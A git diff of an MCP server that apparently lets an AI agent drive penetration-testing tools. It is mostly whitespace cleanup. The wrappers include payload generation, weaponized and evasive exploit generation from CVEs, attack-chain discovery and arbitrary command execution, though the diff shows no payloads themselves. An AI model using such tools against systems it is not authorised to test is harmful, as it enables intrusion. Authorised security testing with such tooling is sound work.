+    def qsreplace_parameter_replacement(urls: str, replacement: str = "FUZZ",
                                        additional_args: str = "") -> Dict[str, Any]:
         """
         Execute qsreplace for query string parameter replacement.
-        
+
         Args:
             urls: URLs to process
             replacement: Replacement string for parameters
             additional_args: Additional qsreplace arguments
-            
+
         Returns:
             Parameter replacement results for fuzzing
         """
@@ -2768,17 +2768,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def uro_url_filtering(urls: str, whitelist: str = "", blacklist: str = "", 
+    def uro_url_filtering(urls: str, whitelist: str = "", blacklist: str = "",
                          additional_args: str = "") -> Dict[str, Any]:
         """
         Execute uro for filtering out similar URLs.
-        
+
         Args:
             urls: URLs to filter
             whitelist: Whitelist patterns
             blacklist: Blacklist patterns
             additional_args: Additional uro arguments
-            
+
         Returns:
             Filtered URL results with duplicates removed
         """
@@ -2804,13 +2804,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def ai_generate_payload(attack_type: str, complexity: str = "basic", technology: str = "", url: str = "") -> Dict[str, Any]:
         """
         Generate AI-powered contextual payloads for security testing.
-        
+
         Args:
             attack_type: Type of attack (xss, sqli, lfi, cmd_injection, ssti, xxe)
             complexity: Complexity level (basic, advanced, bypass)
             technology: Target technology (php, asp, jsp, python, nodejs)
             url: Target URL for context
-            
+
         Returns:
             Contextual payloads with risk assessment and test cases
         """
@@ -2822,12 +2822,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🤖 Generating AI payloads for {attack_type} attack")
         result = hexstrike_client.safe_post("api/ai/generate_payload", data)
-        
+
         if result.get("success"):
             payload_data = result.get("ai_payload_generation", {})
             count = payload_data.get("payload_count", 0)
             logger.info(f"✅ Generated {count} contextual {attack_type} payloads")
-            
+
             # Log some example payloads for user awareness
             payloads = payload_data.get("payloads", [])
             if payloads:
@@ -2838,19 +2838,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                     logger.info(f"   ├─ [{risk}] {context}: {payload_info['payload'][:50]}...")
         else:
             logger.error("❌ AI payload generation failed")
-        
+
         return result
 
     @mcp.tool()
     def ai_test_payload(payload: str, target_url: str, method: str = "GET") -> Dict[str, Any]:
         """
         Test generated payload against target with AI analysis.
-        
+
         Args:
             payload: The payload to test
             target_url: Target URL to test against
             method: HTTP method (GET, POST)
-            
+
         Returns:
             Test results with AI analysis and vulnerability assessment
         """
@@ -2861,30 +2861,30 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🧪 Testing AI payload against {target_url}")
         result = hexstrike_client.safe_post("api/ai/test_payload", data)
-        
+
         if result.get("success"):
             analysis = result.get("ai_analysis", {})
             potential_vuln = analysis.get("potential_vulnerability", False)
             logger.info(f"🔍 Payload test completed | Vulnerability detected: {potential_vuln}")
-            
+
             if potential_vuln:
                 logger.warning("⚠️  Potential vulnerability found! Review the response carefully.")
             else:
                 logger.info("✅ No obvious vulnerability indicators detected")
         else:
             logger.error("❌ Payload testing failed")
-        
+
         return result
 
     @mcp.tool()
     def ai_generate_attack_suite(target_url: str, attack_types: str = "xss,sqli,lfi") -> Dict[str, Any]:
         """
         Generate comprehensive attack suite with multiple payload types.
-        
+
         Args:
             target_url: Target URL for testing
             attack_types: Comma-separated list of attack types
-            
+
         Returns:
             Comprehensive attack suite with multiple payload types
         """
@@ -2899,34 +2899,34 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "test_cases": 0
             }
         }
-        
+
         logger.info(f"🚀 Generating comprehensive attack suite for {target_url}")
         logger.info(f"🎯 Attack types: {', '.join(attack_list)}")
-        
+
         for attack_type in attack_list:
             logger.info(f"🤖 Generating {attack_type} payloads...")
-            
+
             # Generate payloads for this attack type
             payload_result = self.ai_generate_payload(attack_type, "advanced", "", target_url)
-            
+
             if payload_result.get("success"):
                 payload_data = payload_result.get("ai_payload_generation", {})
                 results["payload_suites"][attack_type] = payload_data
-                
+
                 # Update summary
                 results["summary"]["total_payloads"] += payload_data.get("payload_count", 0)
                 results["summary"]["test_cases"] += len(payload_data.get("test_cases", []))
-                
+
                 # Count high-risk payloads
                 for payload_info in payload_data.get("payloads", []):
                     if payload_info.get("risk_level") == "HIGH":
                         results["summary"]["high_risk_payloads"] += 1
-        
+
         logger.info(f"✅ Attack suite generated:")
         logger.info(f"   ├─ Total payloads: {results['summary']['total_payloads']}")
         logger.info(f"   ├─ High-risk payloads: {results['summary']['high_risk_payloads']}")
         logger.info(f"   └─ Test cases: {results['summary']['test_cases']}")
-        
+
         return {
             "success": True,
             "attack_suite": results,
@@ -2941,13 +2941,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def api_fuzzer(base_url: str, endpoints: str = "", methods: str = "GET,POST,PUT,DELETE", wordlist: str = "/usr/share/wordlists/api/api-endpoints.txt") -> Dict[str, Any]:
         """
         Advanced API endpoint fuzzing with intelligent parameter discovery.
-        
+
         Args:
             base_url: Base URL of the API
             endpoints: Comma-separated list of specific endpoints to test
             methods: HTTP methods to test (comma-separated)
             wordlist: Wordlist for endpoint discovery
-            
+
         Returns:
             API fuzzing results with endpoint discovery and vulnerability assessment
         """
@@ -2957,10 +2957,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "methods": [m.strip() for m in methods.split(",")],
             "wordlist": wordlist
         }
-        
+
         logger.info(f"🔍 Starting API fuzzing: {base_url}")
         result = hexstrike_client.safe_post("api/tools/api_fuzzer", data)
-        
+
         if result.get("success"):
             fuzzing_type = result.get("fuzzing_type", "unknown")
             if fuzzing_type == "endpoint_testing":
@@ -2970,20 +2970,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 logger.info(f"✅ API endpoint discovery completed")
         else:
             logger.error("❌ API fuzzing failed")
-        
+
         return result
 
     @mcp.tool()
     def graphql_scanner(endpoint: str, introspection: bool = True, query_depth: int = 10, test_mutations: bool = True) -> Dict[str, Any]:
         """
         Advanced GraphQL security scanning and introspection.
-        
+
         Args:
             endpoint: GraphQL endpoint URL
             introspection: Test introspection queries
             query_depth: Maximum query depth to test
             test_mutations: Test mutation operations
-            
+
         Returns:
             GraphQL security scan results with vulnerability assessment
         """
@@ -2993,17 +2993,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "query_depth": query_depth,
             "test_mutations": test_mutations
         }
-        
+
         logger.info(f"🔍 Starting GraphQL security scan: {endpoint}")
         result = hexstrike_client.safe_post("api/tools/graphql_scanner", data)
-        
+
         if result.get("success"):
             scan_results = result.get("graphql_scan_results", {})
             vuln_count = len(scan_results.get("vulnerabilities", []))
             tests_count = len(scan_results.get("tests_performed", []))
-            
+
             logger.info(f"✅ GraphQL scan completed: {tests_count} tests, {vuln_count} vulnerabilities")
-            
+
             if vuln_count > 0:
                 logger.warning(f"⚠️  Found {vuln_count} GraphQL vulnerabilities!")
                 for vuln in scan_results.get("vulnerabilities", [])[:3]:  # Show first 3
@@ -3012,18 +3012,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                     logger.warning(f"   ├─ [{severity}] {vuln_type}")
         else:
             logger.error("❌ GraphQL scanning failed")
-        
+
         return result
 
     @mcp.tool()
     def jwt_analyzer(jwt_token: str, target_url: str = "") -> Dict[str, Any]:
         """
         Advanced JWT token analysis and vulnerability testing.
-        
+
         Args:
             jwt_token: JWT token to analyze
             target_url: Optional target URL for testing token manipulation
-            
+
         Returns:
             JWT analysis results with vulnerability assessment and attack vectors
         """
@@ -3031,18 +3031,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "jwt_token": jwt_token,
             "target_url": target_url
         }
-        
+
         logger.info(f"🔍 Starting JWT security analysis")
         result = hexstrike_client.safe_post("api/tools/jwt_analyzer", data)
-        
+
         if result.get("success"):
             analysis = result.get("jwt_analysis_results", {})
             vuln_count = len(analysis.get("vulnerabilities", []))
             algorithm = analysis.get("token_info", {}).get("algorithm", "unknown")
-            
+
             logger.info(f"✅ JWT analysis completed: {vuln_count} vulnerabilities found")
             logger.info(f"🔐 Token algorithm: {algorithm}")
-            
+
             if vuln_count > 0:
                 logger.warning(f"⚠️  Found {vuln_count} JWT vulnerabilities!")
                 for vuln in analysis.get("vulnerabilities", [])[:3]:  # Show first 3
@@ -3051,18 +3051,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                     logger.warning(f"   ├─ [{severity}] {vuln_type}")
         else:
             logger.error("❌ JWT analysis failed")
-        
+
         return result
 
     @mcp.tool()
     def api_schema_analyzer(schema_url: str, schema_type: str = "openapi") -> Dict[str, Any]:
         """
         Analyze API schemas and identify potential security issues.
-        
+
         Args:
             schema_url: URL to the API schema (OpenAPI/Swagger/GraphQL)
             schema_type: Type of schema (openapi, swagger, graphql)
-            
+
         Returns:
             Schema analysis results with security issues and recommendations
         """
@@ -3070,24 +3070,24 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "schema_url": schema_url,
             "schema_type": schema_type
         }
-        
+
         logger.info(f"🔍 Starting API schema analysis: {schema_url}")
         result = hexstrike_client.safe_post("api/tools/api_schema_analyzer", data)
-        
+
         if result.get("success"):
             analysis = result.get("schema_analysis_results", {})
             endpoint_count = len(analysis.get("endpoints_found", []))
             issue_count = len(analysis.get("security_issues", []))
-            
+
             logger.info(f"✅ Schema analysis completed: {endpoint_count} endpoints, {issue_count} issues")
-            
+
             if issue_count > 0:
                 logger.warning(f"⚠️  Found {issue_count} security issues in schema!")
                 for issue in analysis.get("security_issues", [])[:3]:  # Show first 3
                     severity = issue.get("severity", "UNKNOWN")
                     issue_type = issue.get("issue", "unknown")
                     logger.warning(f"   ├─ [{severity}] {issue_type}")
-            
+
             if endpoint_count > 0:
                 logger.info(f"📊 Discovered endpoints:")
                 for endpoint in analysis.get("endpoints_found", [])[:5]:  # Show first 5
@@ -3096,20 +3096,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                     logger.info(f"   ├─ {method} {path}")
         else:
             logger.error("❌ Schema analysis failed")
-        
+
         return result
 
     @mcp.tool()
     def comprehensive_api_audit(base_url: str, schema_url: str = "", jwt_token: str = "", graphql_endpoint: str = "") -> Dict[str, Any]:
         """
         Comprehensive API security audit combining multiple testing techniques.
-        
+
         Args:
             base_url: Base URL of the API
             schema_url: Optional API schema URL
             jwt_token: Optional JWT token for analysis
             graphql_endpoint: Optional GraphQL endpoint
-            
+
         Returns:
             Comprehensive audit results with all API security tests
         """
@@ -3121,16 +3121,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "summary": {},
             "recommendations": []
         }
-        
+
         logger.info(f"🚀 Starting comprehensive API security audit: {base_url}")
-        
+
         # 1. API Endpoint Fuzzing
         logger.info("🔍 Phase 1: API endpoint discovery and fuzzing")
         fuzz_result = self.api_fuzzer(base_url)
         if fuzz_result.get("success"):
             audit_results["tests_performed"].append("api_fuzzing")
             audit_results["api_fuzzing"] = fuzz_result
-        
+
         # 2. Schema Analysis (if provided)
         if schema_url:
             logger.info("🔍 Phase 2: API schema analysis")
@@ -3138,10 +3138,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             if schema_result.get("success"):
                 audit_results["tests_performed"].append("schema_analysis")
                 audit_results["schema_analysis"] = schema_result
-                
+
                 schema_data = schema_result.get("schema_analysis_results", {})
                 audit_results["total_vulnerabilities"] += len(schema_data.get("security_issues", []))
-        
+
         # 3. JWT Analysis (if provided)
         if jwt_token:
             logger.info("🔍 Phase 3: JWT token analysis")
@@ -3149,10 +3149,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             if jwt_result.get("success"):
                 audit_results["tests_performed"].append("jwt_analysis")
                 audit_results["jwt_analysis"] = jwt_result
-                
+
                 jwt_data = jwt_result.get("jwt_analysis_results", {})
                 audit_results["total_vulnerabilities"] += len(jwt_data.get("vulnerabilities", []))
-        
+
         # 4. GraphQL Testing (if provided)
         if graphql_endpoint:
             logger.info("🔍 Phase 4: GraphQL security scanning")
@@ -3160,10 +3160,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             if graphql_result.get("success"):
                 audit_results["tests_performed"].append("graphql_scanning")
                 audit_results["graphql_scanning"] = graphql_result
-                
+
                 graphql_data = graphql_result.get("graphql_scan_results", {})
                 audit_results["total_vulnerabilities"] += len(graphql_data.get("vulnerabilities", []))
-        
+
         # Generate comprehensive recommendations
         audit_results["recommendations"] = [
             "Implement proper authentication and authorization",
@@ -3175,19 +3175,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "Keep API documentation updated and secure",
             "Implement proper error handling"
         ]
-        
+
         # Summary
         audit_results["summary"] = {
             "tests_performed": len(audit_results["tests_performed"]),
             "total_vulnerabilities": audit_results["total_vulnerabilities"],
             "audit_coverage": "comprehensive" if len(audit_results["tests_performed"]) >= 3 else "partial"
         }
-        
+
         logger.info(f"✅ Comprehensive API audit completed:")
         logger.info(f"   ├─ Tests performed: {audit_results['summary']['tests_performed']}")
         logger.info(f"   ├─ Total vulnerabilities: {audit_results['summary']['total_vulnerabilities']}")
         logger.info(f"   └─ Coverage: {audit_results['summary']['audit_coverage']}")
-        
+
         return {
             "success": True,
             "comprehensive_audit": audit_results
@@ -3201,13 +3201,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def volatility3_analyze(memory_file: str, plugin: str, output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Volatility3 for advanced memory forensics with enhanced logging.
-        
+
         Args:
             memory_file: Path to memory dump file
             plugin: Volatility3 plugin to execute
             output_file: Output file path
             additional_args: Additional Volatility3 arguments
-            
+
         Returns:
             Advanced memory forensics results
         """
@@ -3229,13 +3229,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def foremost_carving(input_file: str, output_dir: str = "/tmp/foremost_output", file_types: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Foremost for file carving with enhanced logging.
-        
+
         Args:
             input_file: Input file or device to carve
             output_dir: Output directory for carved files
             file_types: File types to carve (jpg,gif,png,etc.)
             additional_args: Additional Foremost arguments
-            
+
         Returns:
             File carving results
         """
@@ -3257,7 +3257,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def steghide_analysis(action: str, cover_file: str, embed_file: str = "", passphrase: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Steghide for steganography analysis with enhanced logging.
-        
+
         Args:
             action: Action to perform (extract, embed, info)
             cover_file: Cover file for steganography
@@ -3265,7 +3265,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             passphrase: Passphrase for steganography
             output_file: Output file path
             additional_args: Additional Steghide arguments
-            
+
         Returns:
             Steganography analysis results
         """
@@ -3289,13 +3289,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def exiftool_extract(file_path: str, output_format: str = "", tags: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute ExifTool for metadata extraction with enhanced logging.
-        
+
         Args:
             file_path: Path to file for metadata extraction
             output_format: Output format (json, xml, csv)
             tags: Specific tags to extract
             additional_args: Additional ExifTool arguments
-            
+
         Returns:
             Metadata extraction results
         """
@@ -3317,14 +3317,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def hashpump_attack(signature: str, data: str, key_length: str, append_data: str, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute HashPump for hash length extension attacks with enhanced logging.
-        
+
         Args:
             signature: Original hash signature
             data: Original data
             key_length: Length of secret key
             append_data: Data to append
             additional_args: Additional HashPump arguments
-            
+
         Returns:
             Hash length extension attack results
         """
@@ -3351,16 +3351,23 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def hakrawler_crawl(url: str, depth: int = 2, forms: bool = True, robots: bool = True, sitemap: bool = True, wayback: bool = False, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Hakrawler for web endpoint discovery with enhanced logging.
-        
+
+        Note: Uses standard Kali Linux hakrawler (hakluke/hakrawler) with parameter mapping:
+        - url: Piped via echo to stdin (not -url flag)
+        - depth: Mapped to -d flag (not -depth)
+        - forms: Mapped to -s flag for showing sources
+        - robots/sitemap/wayback: Mapped to -subs for subdomain inclusion
+        - Always includes -u for unique URLs
+
         Args:
             url: Target URL to crawl
-            depth: Crawling depth
-            forms: Include forms in crawling
-            robots: Check robots.txt
-            sitemap: Check sitemap.xml
-            wayback: Use Wayback Machine
+            depth: Crawling depth (mapped to -d)
+            forms: Include forms in crawling (mapped to -s)
+            robots: Check robots.txt (mapped to -subs)
+            sitemap: Check sitemap.xml (mapped to -subs)
+            wayback: Use Wayback Machine (mapped to -subs)
             additional_args: Additional Hakrawler arguments
-            
+
         Returns:
             Web endpoint discovery results
         """
@@ -3385,7 +3392,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def httpx_probe(targets: str = "", target_file: str = "", ports: str = "", methods: str = "GET", status_code: str = "", content_length: bool = False, output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute HTTPx for HTTP probing with enhanced logging.
-        
+
         Args:
             targets: Target URLs or IPs
             target_file: File containing targets
@@ -3395,7 +3402,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             content_length: Show content length
             output_file: Output file path
             additional_args: Additional HTTPx arguments
-            
+
         Returns:
             HTTP probing results
         """
@@ -3421,14 +3428,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def paramspider_discovery(domain: str, exclude: str = "", output_file: str = "", level: int = 2, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute ParamSpider for parameter discovery with enhanced logging.
-        
+
         Args:
             domain: Target domain
             exclude: Extensions to exclude
             output_file: Output file path
             level: Crawling level
             additional_args: Additional ParamSpider arguments
-            
+
         Returns:
             Parameter discovery results
         """
@@ -3455,7 +3462,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def burpsuite_scan(project_file: str = "", config_file: str = "", target: str = "", headless: bool = False, scan_type: str = "", scan_config: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Burp Suite with enhanced logging.
-        
+
         Args:
             project_file: Burp project file path
             config_file: Burp configuration file path
@@ -3465,7 +3472,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             scan_config: Scan configuration
             output_file: Output file path
             additional_args: Additional Burp Suite arguments
-            
+
         Returns:
             Burp Suite scan results
         """
@@ -3491,7 +3498,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def zap_scan(target: str = "", scan_type: str = "baseline", api_key: str = "", daemon: bool = False, port: str = "8090", host: str = "0.0.0.0", format_type: str = "xml", output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute OWASP ZAP with enhanced logging.
-        
+
         Args:
             target: Target URL
             scan_type: Type of scan (baseline, full, api)
@@ -3502,7 +3509,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             format_type: Output format (xml, json, html)
             output_file: Output file path
             additional_args: Additional ZAP arguments
-            
+
         Returns:
             ZAP scan results
         """
@@ -3529,7 +3536,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def arjun_scan(url: str, method: str = "GET", data: str = "", headers: str = "", timeout: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Arjun for parameter discovery with enhanced logging.
-        
+
         Args:
             url: Target URL
             method: HTTP method (GET, POST, etc.)
@@ -3538,7 +3545,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             timeout: Request timeout
             output_file: Output file path
             additional_args: Additional Arjun arguments
-            
+
         Returns:
             Parameter discovery results
         """
@@ -3563,11 +3570,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def wafw00f_scan(target: str, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute wafw00f to identify and fingerprint WAF products with enhanced logging.
-        
+
         Args:
             target: Target URL or IP
             additional_args: Additional wafw00f arguments
-            
+
         Returns:
             WAF detection results
         """
@@ -3587,12 +3594,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def fierce_scan(domain: str, dns_server: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute fierce for DNS reconnaissance with enhanced logging.
-        
+
         Args:
             domain: Target domain
             dns_server: DNS server to use
             additional_args: Additional fierce arguments
-            
+
         Returns:
             DNS reconnaissance results
         """
@@ -3613,13 +3620,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def dnsenum_scan(domain: str, dns_server: str = "", wordlist: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute dnsenum for DNS enumeration with enhanced logging.
-        
+
         Args:
             domain: Target domain
             dns_server: DNS server to use
             wordlist: Wordlist for brute forcing
             additional_args: Additional dnsenum arguments
-            
+
         Returns:
             DNS enumeration results
         """
@@ -3681,7 +3688,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     ) -> Dict[str, Any]:
         """
         Execute AutoRecon for comprehensive target enumeration with full parameter support.
-        
+
         Args:
             target: Single target to scan
             target_file: File containing multiple targets
@@ -3722,7 +3729,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             global_password_wordlist: Global password wordlist
             global_domain: Global domain
             additional_args: Additional AutoRecon arguments
-            
+
         Returns:
             Comprehensive enumeration results with full configurability
         """
@@ -3778,12 +3785,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
     # SYSTEM MONITORING & TELEMETRY
     # ============================================================================
-    
+
     @mcp.tool()
     def server_health() -> Dict[str, Any]:
         """
         Check the health status of the HexStrike AI server.
-        
+
         Returns:
             Server health information with tool availability and telemetry
         """
@@ -3799,7 +3806,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def get_cache_stats() -> Dict[str, Any]:
         """
         Get cache statistics from the HexStrike AI server.
-        
+
         Returns:
             Cache performance statistics
         """
@@ -3813,7 +3820,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def clear_cache() -> Dict[str, Any]:
         """
         Clear the cache on the HexStrike AI server.
-        
+
         Returns:
             Cache clear operation results
         """
@@ -3829,7 +3836,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def get_telemetry() -> Dict[str, Any]:
         """
         Get system telemetry from the HexStrike AI server.
-        
+
         Returns:
             System performance and usage telemetry
         """
@@ -3838,7 +3845,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         if "commands_executed" in result:
             logger.info(f"📊 Commands executed: {result.get('commands_executed', 0)}")
         return result
-    
+
     # ============================================================================
     # PROCESS MANAGEMENT TOOLS (v5.0 ENHANCEMENT)
     # ============================================================================
@@ -3847,7 +3854,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def list_active_processes() -> Dict[str, Any]:
         """
         List all active processes on the HexStrike AI server.
-        
+
         Returns:
             List of active processes with their status and progress
         """
@@ -3863,10 +3870,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def get_process_status(pid: int) -> Dict[str, Any]:
         """
         Get the status of a specific process.
-        
+
         Args:
             pid: Process ID to check
-            
+
         Returns:
             Process status information including progress and runtime
         """
@@ -3882,10 +3889,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def terminate_process(pid: int) -> Dict[str, Any]:
         """
         Terminate a specific running process.
-        
+
         Args:
             pid: Process ID to terminate
-            
+
         Returns:
             Success status of the termination operation
         """
@@ -3901,10 +3908,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def pause_process(pid: int) -> Dict[str, Any]:
         """
         Pause a specific running process.
-        
+
         Args:
             pid: Process ID to pause
-            
+
         Returns:
             Success status of the pause operation
         """
@@ -3920,10 +3927,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def resume_process(pid: int) -> Dict[str, Any]:
         """
         Resume a paused process.
-        
+
         Args:
             pid: Process ID to resume
-            
+
         Returns:
             Success status of the resume operation
         """
@@ -3939,7 +3946,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def get_process_dashboard() -> Dict[str, Any]:
         """
         Get enhanced process dashboard with visual status indicators.
-        
+
         Returns:
             Real-time dashboard with progress bars, system metrics, and process status
         """
@@ -3948,7 +3955,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         if result.get("success", True) and "total_processes" in result:
             total = result.get("total_processes", 0)
             logger.info(f"✅ Dashboard retrieved: {total} active processes")
-            
+
             # Log visual summary for better UX
             if total > 0:
                 logger.info("📈 Active Processes Summary:")
@@ -3957,16 +3964,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         else:
             logger.error("❌ Failed to get process dashboard")
         return result
-    
+
     @mcp.tool()
     def execute_command(command: str, use_cache: bool = True) -> Dict[str, Any]:
         """
         Execute an arbitrary command on the HexStrike AI server with enhanced logging.
-        
+
         Args:
             command: The command to execute
             use_cache: Whether to use caching for this command
-            
+
         Returns:
             Command execution results with enhanced telemetry
         """
@@ -3981,13 +3988,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                     "stdout": "",
                     "stderr": f"Error executing command: {result['error']}"
                 }
-            
+
             if result.get("success"):
                 execution_time = result.get("execution_time", 0)
                 logger.info(f"✅ Command completed successfully in {execution_time:.2f}s")
             else:
                 logger.warning(f"⚠️  Command completed with errors")
-            
+
             return result
         except Exception as e:
             logger.error(f"💥 Error executing command '{command}': {str(e)}")
@@ -4006,15 +4013,15 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def monitor_cve_feeds(hours: int = 24, severity_filter: str = "HIGH,CRITICAL", keywords: str = "") -> Dict[str, Any]:
         """
         Monitor CVE databases for new vulnerabilities with AI analysis.
-        
+
         Args:
             hours: Hours to look back for new CVEs (default: 24)
             severity_filter: Filter by CVSS severity - comma-separated values (LOW,MEDIUM,HIGH,CRITICAL,ALL)
             keywords: Filter CVEs by keywords in description (comma-separated)
-            
+
         Returns:
             Latest CVEs with exploitability analysis and threat intelligence
-            
+
         Example:
             monitor_cve_feeds(48, "CRITICAL", "remote code execution")
         """
@@ -4025,29 +4032,29 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🔍 Monitoring CVE feeds for last {hours} hours | Severity: {severity_filter}")
         result = hexstrike_client.safe_post("api/vuln-intel/cve-monitor", data)
-        
+
         if result.get("success"):
             cve_count = len(result.get("cve_monitoring", {}).get("cves", []))
             exploit_analysis_count = len(result.get("exploitability_analysis", []))
             logger.info(f"✅ Found {cve_count} CVEs with {exploit_analysis_count} exploitability analyses")
-        
+
         return result
 
     @mcp.tool()
     def generate_exploit_from_cve(cve_id: str, target_os: str = "", target_arch: str = "x64", exploit_type: str = "poc", evasion_level: str = "none") -> Dict[str, Any]:
         """
         Generate working exploits from CVE information using AI-powered analysis.
-        
+
         Args:
             cve_id: CVE identifier (e.g., CVE-2024-1234)
             target_os: Target operating system (windows, linux, macos, any)
             target_arch: Target architecture (x86, x64, arm, any)
             exploit_type: Type of exploit to generate (poc, weaponized, stealth)
             evasion_level: Evasion sophistication (none, basic, advanced)
-            
+
         Returns:
             Generated exploit code with testing instructions and evasion techniques
-            
+
         Example:
             generate_exploit_from_cve("CVE-2024-1234", "linux", "x64", "weaponized", "advanced")
         """
@@ -4060,31 +4067,31 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🤖 Generating {exploit_type} exploit for {cve_id} | Target: {target_os} {target_arch}")
         result = hexstrike_client.safe_post("api/vuln-intel/exploit-generate", data)
-        
+
         if result.get("success"):
             cve_analysis = result.get("cve_analysis", {})
             exploit_gen = result.get("exploit_generation", {})
             exploitability = cve_analysis.get("exploitability_level", "UNKNOWN")
             exploit_success = exploit_gen.get("success", False)
-            
+
             logger.info(f"📊 CVE Analysis: {exploitability} exploitability")
             logger.info(f"🎯 Exploit Generation: {'SUCCESS' if exploit_success else 'FAILED'}")
-        
+
         return result
 
     @mcp.tool()
     def discover_attack_chains(target_software: str, attack_depth: int = 3, include_zero_days: bool = False) -> Dict[str, Any]:
         """
         Discover multi-stage attack chains for target software with vulnerability correlation.
-        
+
         Args:
             target_software: Target software/system (e.g., "Apache HTTP Server", "Windows Server 2019")
             attack_depth: Maximum number of stages in attack chain (1-5)
             include_zero_days: Include potential zero-day vulnerabilities in analysis
-            
+
         Returns:
             Attack chains with vulnerability combinations, success probabilities, and exploit availability
-            
+
         Example:
             discover_attack_chains("Apache HTTP Server 2.4", 4, True)
         """
@@ -4095,36 +4102,36 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🔗 Discovering attack chains for {target_software} | Depth: {attack_depth} | Zero-days: {include_zero_days}")
         result = hexstrike_client.safe_post("api/vuln-intel/attack-chains", data)
-        
+
         if result.get("success"):
